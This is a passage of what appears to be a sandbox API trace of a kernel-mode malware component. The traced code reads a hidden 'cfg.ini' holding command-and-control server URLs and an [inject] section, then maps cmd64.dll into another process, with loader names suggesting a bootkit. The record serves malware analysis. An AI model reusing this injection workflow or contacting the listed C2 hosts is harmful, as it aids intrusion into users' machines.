MemoryDescriptorList=0xfffffa800d5351c0) [0070.208] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0070.208] IdePortDispatch () returned 0x103 [0070.208] KeWaitForMutexObject () returned 0x0 [0070.208] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0070.208] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0070.208] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d5351c0 [0070.208] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d5351c0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d5351c0) [0070.208] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0070.208] IdePortDispatch () returned 0x103 [0070.208] KeWaitForMutexObject () returned 0x0 [0070.208] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.208] KeLeaveCriticalRegion () [0070.208] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.208] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0070.208] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="csrss.exe (x64)=") returned 0x0 [0070.208] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0070.209] ExFreePoolWithTag (P=0xfffff8a003256800, Tag=0x0) [0070.209] ZwClose (Handle=0xffffffff800001d8) returned 0x0 [0070.209] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.209] KeEnterCriticalRegion () [0070.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.209] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0070.209] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8008912f20, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0070.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.209] KeLeaveCriticalRegion () [0070.209] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.209] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0070.209] KeEnterCriticalRegion () [0070.209] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.209] ExFreePoolWithTag (P=0xfffffa800351f160, Tag=0x0) [0070.209] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0070.209] KeLeaveCriticalRegion () [0070.209] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0070.209] ZwClose (Handle=0xffffffff800001dc) returned 0x0 [0070.209] KeSetEvent (in: Event=0xfffffa80028cba90, Increment=0x0, Wait=0 | out: Event=0xfffffa80028cba90) returned 0 [0071.158] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\system32\\DRIVERS\\monitor.sys", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.392] ZwOpenProcess (in: ProcessHandle=0xfffff88002f8fb70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f8fb30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f8fb20*(UniqueProcess=0x174, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f8fb70*=0xffffffff800001e8) returned 0x0 [0071.392] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8f7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0071.392] ZwCreateFile (in: FileHandle=0xfffff88002f8fb18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f8f7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8f7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f8fb18*=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8f7a0) returned 0x0 [0071.392] _snprintf (in: _Dest=0xfffff88002f8ef10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.393] KeEnterCriticalRegion () [0071.393] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.393] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.393] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.393] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.393] KeInitializeEvent (in: Event=0xfffff88002f8ed80, Type=0x0, State=0 | out: Event=0xfffff88002f8ed80) [0071.393] IdePortDispatch () returned 0x103 [0071.393] KeWaitForMutexObject () returned 0x0 [0071.393] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.393] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0071.393] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0071.393] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0071.393] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003414c20 [0071.393] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.393] KeLeaveCriticalRegion () [0071.393] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.394] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880, ZeroBits=0x0, RegionSize=0xfffff88002f8f888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888*=0x1000) returned 0x0 [0071.394] NtLockFile (in: FileHandle=0xffffffff800001dc, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x80000, ByteOffset=0x80010, Length=0x80018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x80000) returned 0x0 [0071.394] _snprintf (in: _Dest=0xfffff88002f8f450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.394] KeEnterCriticalRegion () [0071.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.394] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80021e92b0, Context=0x0) returned 0x0 [0071.394] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.394] KeLeaveCriticalRegion () [0071.394] ZwQueryInformationFile (in: FileHandle=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f8f7a0, FileInformation=0xfffff88002f8f7c0) returned 0x0 [0071.394] _snprintf (in: _Dest=0xfffff88002f8f250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.394] KeEnterCriticalRegion () [0071.394] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.394] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.394] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.394] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.394] KeInitializeEvent (in: Event=0xfffff88002f8f0e0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0e0) [0071.394] IdePortDispatch () returned 0x103 [0071.397] KeWaitForMutexObject () returned 0x0 [0071.397] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.397] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.397] KeLeaveCriticalRegion () [0071.397] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.397] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x197) returned 0xfffff8a00647d050 [0071.397] _snprintf (in: _Dest=0xfffff88002f8f9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0071.397] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0071.397] _snprintf (in: _Dest=0xfffff88002f8f8c0, _Count=0x104, _Format="%s=" | out: _Dest="* (x64)=") returned 8 [0071.397] _strlwr (in: _Str="* (x64)=" | out: _Str="* (x64)=") returned="* (x64)=" [0071.397] ZwReadFile (in: FileHandle=0xffffffff800001dc, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00647d050, BufferLength=0x196, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f8f7a0, Buffer=0xfffff8a00647d050*) returned 0x0 [0071.397] _snprintf (in: _Dest=0xfffff88002f8f230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.397] KeEnterCriticalRegion () [0071.397] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.397] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003485050 [0071.397] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.397] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.397] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.398] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.398] IdePortDispatch () returned 0x103 [0071.398] KeWaitForMutexObject () returned 0x0 [0071.398] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0071.398] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.398] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa8002a499f0 [0071.398] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8002a499f0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8002a499f0) [0071.398] KeInitializeEvent (in: Event=0xfffff88002f8f090, Type=0x0, State=0 | out: Event=0xfffff88002f8f090) [0071.398] IdePortDispatch () returned 0x103 [0071.398] KeWaitForMutexObject () returned 0x0 [0071.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.399] KeLeaveCriticalRegion () [0071.399] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.399] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\n" [0071.399] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="* (x64)=") returned="* (x64)=cmd64.dll\r\n" [0071.399] strncpy (in: _Dest=0xfffffa8003546784, _Source="cmd64.dll", _Count=0x104 | out: _Dest="cmd64.dll") returned="cmd64.dll" [0071.399] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f8f880*=0x80000, RegionSize=0xfffff88002f8f888, FreeType=0x8000) returned 0x0 [0071.399] ExFreePoolWithTag (P=0xfffff8a00647d050, Tag=0x0) [0071.399] ZwClose (Handle=0xffffffff800001dc) returned 0x0 [0071.399] _snprintf (in: _Dest=0xfffff88002f8f310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.399] KeEnterCriticalRegion () [0071.399] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.399] IoGetRequestorProcess (Irp=0xfffffa80021e92b0) returned 0xfffffa80018ab040 [0071.399] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80028f1c70, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0071.399] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.399] KeLeaveCriticalRegion () [0071.399] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.399] _snprintf (in: _Dest=0xfffff88002f8f330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0071.399] KeEnterCriticalRegion () [0071.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.400] ExFreePoolWithTag (P=0xfffffa8003414c20, Tag=0x0) [0071.400] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.400] KeLeaveCriticalRegion () [0071.400] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.400] KeStackAttachProcess (in: PROCESS=0xfffffa800284ab30, ApcState=0xfffff88002f8fa58 | out: PROCESS=0xfffffa800284ab30, ApcState=0xfffff88002f8fa58) [0071.400] _snwprintf (in: _Dest=0xfffffa800354657c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 35 [0071.400] RtlInitUnicodeString (in: DestinationString=0xfffff88002f8fa38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd64.dll") [0071.400] ZwOpenFile (in: FileHandle=0xfffff88002f8f9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f8fa08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd64.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd64.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f8fa48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f8f9e8*=0xffffffff800001dc, IoStatusBlock=0xfffff88002f8fa48) returned 0x0 [0071.400] _snprintf (in: _Dest=0xfffff88002f8f150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.400] KeEnterCriticalRegion () [0071.400] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.400] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.400] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.400] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.400] KeInitializeEvent (in: Event=0xfffff88002f8efc0, Type=0x0, State=0 | out: Event=0xfffff88002f8efc0) [0071.400] IdePortDispatch () returned 0x103 [0071.401] KeWaitForMutexObject () returned 0x0 [0071.401] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.401] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.401] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.401] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.401] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.401] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.401] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.401] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.401] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.401] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.401] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003513170 [0071.401] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.401] KeLeaveCriticalRegion () [0071.401] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.401] ZwCreateSection (in: SectionHandle=0xfffff88002f8f9e0, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0xffffffff800001dc | out: SectionHandle=0xfffff88002f8f9e0*=0x14) returned 0x0 [0071.401] _snprintf (in: _Dest=0xfffff88002f8f260, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.401] KeEnterCriticalRegion () [0071.401] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.401] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.402] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.402] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.402] KeInitializeEvent (in: Event=0xfffff88002f8f0f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f0f0) [0071.402] IdePortDispatch () returned 0x103 [0071.402] KeWaitForMutexObject () returned 0x0 [0071.402] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.402] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.402] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.402] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.402] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.402] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.402] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.402] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.402] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.402] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.403] KeLeaveCriticalRegion () [0071.403] IofCompleteRequest (Irp=0xfffffa80021e92b0, PriorityBoost=0) [0071.403] ZwMapViewOfSection (in: SectionHandle=0x14, ProcessHandle=0xffffffff800001e8, BaseAddress=0xfffff88002f8f9d0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00, InheritDisposition=0x2, AllocationType=0x100000, AccessProtection=0x2 | out: BaseAddress=0xfffff88002f8f9d0*=0x7fffffa0000, SectionOffset=0x0, ViewSize=0xfffff88002f8fa00*=0x6000) returned 0x0 [0071.403] RtlImageNtHeader (BaseAddress=0x7fffffa0000) returned 0x7fffffa0040 [0071.403] _snprintf (in: _Dest=0xfffff88002f8f390, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0071.403] KeEnterCriticalRegion () [0071.403] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0071.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003486000 [0071.403] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.403] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.403] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.403] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.403] IdePortDispatch () returned 0x103 [0071.404] KeWaitForMutexObject () returned 0x0 [0071.404] _strnicmp (_Str1="cfg.ini", _Str="cmd64.dll", _MaxCount=0x10) returned -7 [0071.404] _strnicmp (_Str1="mbr", _Str="cmd64.dll", _MaxCount=0x10) returned 10 [0071.404] _strnicmp (_Str1="ldr16", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.404] _strnicmp (_Str1="ldr32", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.404] _strnicmp (_Str1="ldr64", _Str="cmd64.dll", _MaxCount=0x10) returned 9 [0071.404] _strnicmp (_Str1="drv32", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.404] _strnicmp (_Str1="drv64", _Str="cmd64.dll", _MaxCount=0x10) returned 1 [0071.404] _strnicmp (_Str1="cmd.dll", _Str="cmd64.dll", _MaxCount=0x10) returned -8 [0071.404] _strnicmp (_Str1="cmd64.dll", _Str="cmd64.dll", _MaxCount=0x10) returned 0 [0071.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.404] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.404] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.404] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.404] IdePortDispatch () returned 0x103 [0071.404] KeWaitForMutexObject () returned 0x0 [0071.404] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.405] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.405] IdePortDispatch () returned 0x103 [0071.405] KeWaitForMutexObject () returned 0x0 [0071.405] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.405] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.405] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.405] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.405] IdePortDispatch () returned 0x103 [0071.406] KeWaitForMutexObject () returned 0x0 [0071.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.406] KeInitializeEvent (in: Event=0xfffff88002f8f1f0, Type=0x0, State=0 | out: Event=0xfffff88002f8f1f0) [0071.406] IdePortDispatch () returned 0x103 [0071.406] KeWaitForMutexObject () returned 0x0 [0071.406] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80034197c0 [0071.406] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80034197c0 | out: Irp=0xfffffa80034197c0) returned 0xfffffa800d30e960 [0071.406] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800d30e960, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800d30e960) [0071.406] KeInitializeEvent (in: 